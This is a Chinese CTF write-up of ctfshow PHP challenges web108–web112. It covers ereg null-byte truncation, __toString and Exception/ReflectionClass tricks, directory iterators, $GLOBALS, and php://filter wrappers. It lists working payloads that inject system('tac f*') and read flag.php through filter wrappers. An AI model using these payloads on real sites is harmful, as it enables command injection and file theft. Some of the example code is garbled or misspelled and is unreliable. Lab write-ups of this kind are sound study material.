1.web108

 strrev() 反转字符串
<?php
echo strrev("Hello world!"); // 输出 "!dlrow olleH"
?> 
 
ereg 存在空字符截断(只会匹配%00前面的字符),这个函数匹配到为true,没有匹配到为false,877为0x36d的十进制数值
 payload:
c=a%00778
 
2.web108

 类可以输出,就是当类被当作字符串执行,会调用__trosting魔术方法,这个类要有这个魔术方法,并且要有返回值才可以输出,这个值要可控
class a{
public $b;
public function __constrcut($a){
	$this->b=$a
}
public funciton __toString(){
return $this->b;
}
}
$c=echo new a('aaa');
#v1=a
#v2=aaa
 
echo new Exception(system(‘echo phpinfo’)())
 会先输出phpinfo,之后在执行phpinfo,最后抛出异常,需要执行完函数把函数的结果在通过异常进行抛出,执行顺序为什么时这样的因为不是这样的Exception(“system(‘echo phpinfo’)()”),不是当作一个整体进行输出,需要执行完才能把命令执行的结果当作整体进行输出
 payload:
v1=Exception();system('tac f*');//&v2=a
v1=Exception&v2=system('tac f*'));//
v1=ReflectionClass&v2=system('tac f*')
 
3.web119

 getcwd获取当前目录,DirectoryIterator遍历目录,文件名称(. … 1.c) FilesystemIterator遍历目录名+文件(/1.c),echo new DirectoryIterator(getcwd())只输出第一个
 都是获取目录下的文件
 payload:
v1=FilesystemIterator&v2=getcwd
 
4.web111

 $GLOBALS —包含全局作用域中可用的全部变量
 $v2=GLOBALS
 $$v2=$GLOBALS
 &$ 
     
      
       
       
         v 
        
       
         2 
        
       
         表示取 
        
       
      
        v2表示取 
       
      
    v2表示取GLOBALS的所有值
 &引用表示不同变量指向同一值
$a='djkad';
$b=&a;
echo $b;   #djkad
echo $a;   #djkad
var_dump($GLOBALS);  #会输出$a,$b的值等
 
payload:
v1=ctfshow&v2=GLOBALS
 
5.web112

 考查的是php伪协议,没想到
 payload:
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
 
参考文章:
 php特性












![6种限流实现,附代码![通俗易懂]](https://img-blog.csdnimg.cn/img_convert/5edda5b32444ffcbc5fddd5623181797.png)






